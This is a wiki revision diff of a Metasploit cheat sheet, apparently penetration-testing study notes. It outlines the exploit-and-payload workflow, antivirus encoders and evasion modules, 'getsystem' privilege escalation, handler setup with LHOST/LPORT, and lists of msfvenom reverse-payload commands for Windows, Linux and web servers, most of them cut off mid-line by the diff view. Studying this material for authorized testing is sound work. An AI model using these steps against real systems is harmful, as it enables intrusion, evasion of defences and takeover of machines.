cheat_sheets_metasploit
Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
cheat_sheets_metasploit [2022/12/28 00:34] – [Search for Module] gman | cheat_sheets_metasploit [2022/12/31 21:50] (current) – [Two Common Commands] gman | ||
---|---|---|---|
Line 19: | Line 19: | ||
* '' | * '' | ||
* Almost any Linux command can be run from the '' | * Almost any Linux command can be run from the '' | ||
+ | |||
+ | ==== 4 Main Activities ==== | ||
+ | |||
+ | There are 4 main activities you will most always do when using Metasploit: | ||
+ | - Start the console: command line '' | ||
+ | * Review available options at the '' | ||
+ | - Select an exploit: this will get you into the target... | ||
+ | * See a full list: '' | ||
+ | * Search: '' | ||
+ | - Select a payload: this is what you want to do once you're in... | ||
+ | * See a full list: '' | ||
+ | - Run the exploit: | ||
+ | * Set any necessary options first (e.g., rhost) | ||
+ | * '' | ||
==== Help ==== | ==== Help ==== | ||
Line 35: | Line 49: | ||
* Example, CVE: '' | * Example, CVE: '' | ||
* Example, type: '' | * Example, type: '' | ||
+ | |||
+ | **Alternative Search Option:** Rapid7 maintains a [[https:// | ||
'' | '' | ||
- | **Search | + | **Parameters (Keywords): |
^ Keyword | ^ Keyword | ||
Line 114: | Line 130: | ||
===== Modules & Categories ===== | ===== Modules & Categories ===== | ||
- | **[1] Auxiliary:** Any supporting module, such as scanners, crawlers and fuzzers. Found here: | + | ==== [1] Auxiliary |
+ | |||
+ | Any supporting module, such as scanners, crawlers and fuzzers. Found here: | ||
< | < | ||
- | **[2] Encoders:** Allow you to encode the exploit and payload in the hope that a signature-based antivirus solution may miss them. | + | ==== [2] Encoders |
+ | |||
+ | Allow you to encode the exploit and payload in the hope that a signature-based antivirus solution may miss them. | ||
* Encoders can have a limited success rate as antivirus solutions can perform additional checks. | * Encoders can have a limited success rate as antivirus solutions can perform additional checks. | ||
* Found here: | * Found here: | ||
Line 124: | Line 144: | ||
< | < | ||
- | **[3] Evasion:** Direct attempts to evade antivirus software. | + | ==== [3] Evasion |
+ | |||
+ | Direct attempts to evade antivirus software. | ||
* Encoders will encode the payload and thus obfuscate the signature. | * Encoders will encode the payload and thus obfuscate the signature. | ||
* Evasion modules are an actual direct attempt to evade antivirus software. | * Evasion modules are an actual direct attempt to evade antivirus software. | ||
Line 130: | Line 152: | ||
< | < | ||
- | **[4] Exploits:** Modules that... well... exploit. Very neatly organized by target system here: | + | ==== [4] Exploits |
+ | |||
+ | Modules that... well... exploit. Very neatly organized by target system here: | ||
< | < | ||
- | **[5] NOPs:** NOPs (No OPeration) do nothing, literally. | + | ==== [5] NOPs ==== |
+ | |||
+ | NOPs (No OPeration) do nothing, literally. | ||
* They are often used as a buffer to achieve consistent payload sizes. | * They are often used as a buffer to achieve consistent payload sizes. | ||
< | < | ||
- | **[6] Payloads:** Payloads are codes that will run on the target system. | + | ==== [6] Payloads |
+ | |||
+ | Payloads are codes that will run on the target system. | ||
* Exploits leverage a vulnerability to gain access on a target system, but to achieve our goal we need a payload. | * Exploits leverage a vulnerability to gain access on a target system, but to achieve our goal we need a payload. | ||
* Examples: get a shell, load malware, load a backdoor, run a command, etc. | * Examples: get a shell, load malware, load a backdoor, run a command, etc. | ||
Line 159: | Line 187: | ||
* Example: '' | * Example: '' | ||
- | **[7] Post:** Post modules are useful during the final, post-exploitation phase. Found here: | + | ==== [7] Post ==== |
+ | |||
+ | Post modules are useful during the final, post-exploitation phase. Found here: | ||
< | < | ||
---- | ---- | ||
+ | |||
+ | ===== Syntax (Examples) ===== | ||
+ | |||
+ | ==== Two Common Commands ==== | ||
+ | |||
+ | After a successful exploit (and assuming your payload was Meterpreter), | ||
+ | |||
+ | < | ||
+ | # priv esc to admin | ||
+ | getsystem | ||
+ | |||
+ | # get a shell in the exploit directory on the target | ||
+ | shell | ||
+ | </ | ||
+ | |||
+ | |||
+ | ==== msfvenom ==== | ||
+ | |||
+ | See [[cheat_sheets_various# | ||
+ | |||
+ | ==== MSF Handler ==== | ||
+ | |||
+ | '' | ||
+ | |||
+ | < | ||
+ | use exploit/ | ||
+ | set PAYLOAD <Payload name> | ||
+ | set LHOST <LHOST value> | ||
+ | set LPORT <LPORT value> | ||
+ | </ | ||
+ | |||
+ | ==== Non-Meterpreter Binaries ==== | ||
+ | |||
+ | **Staged Payloads for Windows** | ||
+ | |||
+ | < | ||
+ | # x86 | ||
+ | msfvenom -p windows/ | ||
+ | |||
+ | # x64 | ||
+ | msfvenom -p windows/ | ||
+ | </ | ||
+ | |||
+ | **Stageless Payloads for Windows** | ||
+ | |||
+ | < | ||
+ | # x86 | ||
+ | msfvenom -p windows/ | ||
+ | |||
+ | # x64 | ||
+ | msfvenom -p windows/ | ||
+ | </ | ||
+ | |||
+ | **Staged Payloads for Linux** | ||
+ | |||
+ | < | ||
+ | # x86 | ||
+ | msfvenom -p linux/ | ||
+ | |||
+ | # x64 | ||
+ | msfvenom -p linux/ | ||
+ | </ | ||
+ | |||
+ | **Stageless Payloads for Linux** | ||
+ | |||
+ | < | ||
+ | # x86 | ||
+ | msfvenom -p linux/ | ||
+ | |||
+ | # x64 | ||
+ | msfvenom -p linux/ | ||
+ | </ | ||
+ | |||
+ | ==== Non-Meterpreter Web Payloads ==== | ||
+ | |||
+ | < | ||
+ | # asp | ||
+ | msfvenom -p windows/ | ||
+ | |||
+ | # jsp | ||
+ | msfvenom -p java/ | ||
+ | |||
+ | # war | ||
+ | msfvenom -p java/ | ||
+ | |||
+ | # php | ||
+ | msfvenom -p php/ | ||
+ | </ | ||
+ | |||
+ | ==== Meterpreter Binaries ==== | ||
+ | |||
+ | **Staged Payloads for Windows** | ||
+ | |||
+ | < | ||
+ | |||
+ | # x86 | ||
+ | msfvenom -p windows/ | ||
+ | |||
+ | # x64 | ||
+ | msfvenom -p windows/ | ||
+ | </ | ||
+ | |||
+ | **Stageless Payloads for Windows** | ||
+ | |||
+ | < | ||
+ | # x86 | ||
+ | msfvenom -p windows/ | ||
+ | |||
+ | # x64 | ||
+ | msfvenom -p windows/ | ||
+ | </ | ||
+ | |||
+ | **Staged Payloads for Linux** | ||
+ | |||
+ | < | ||
+ | # x86 | ||
+ | msfvenom -p linux/ | ||
+ | |||
+ | # x64 | ||
+ | msfvenom -p linux/ | ||
+ | </ | ||
+ | |||
+ | **Stageless Payloads for Linux** | ||
+ | |||
+ | < | ||
+ | # x86 | ||
+ | msfvenom -p linux/ | ||
+ | |||
+ | # x64 | ||
+ | msfvenom -p linux/ | ||
+ | </ | ||
+ | |||
+ | ==== Meterpreter Web Payloads ==== | ||
+ | |||
+ | < | ||
+ | # asp | ||
+ | msfvenom -p windows/ | ||
+ | |||
+ | # jsp | ||
+ | msfvenom -p java/ | ||
+ | |||
+ | # war | ||
+ | msfvenom -p java/ | ||
+ | |||
+ | # php | ||
+ | msfvenom -p php/ | ||
+ | </ | ||
cheat_sheets_metasploit.1672187672.txt.gz · Last modified: by gman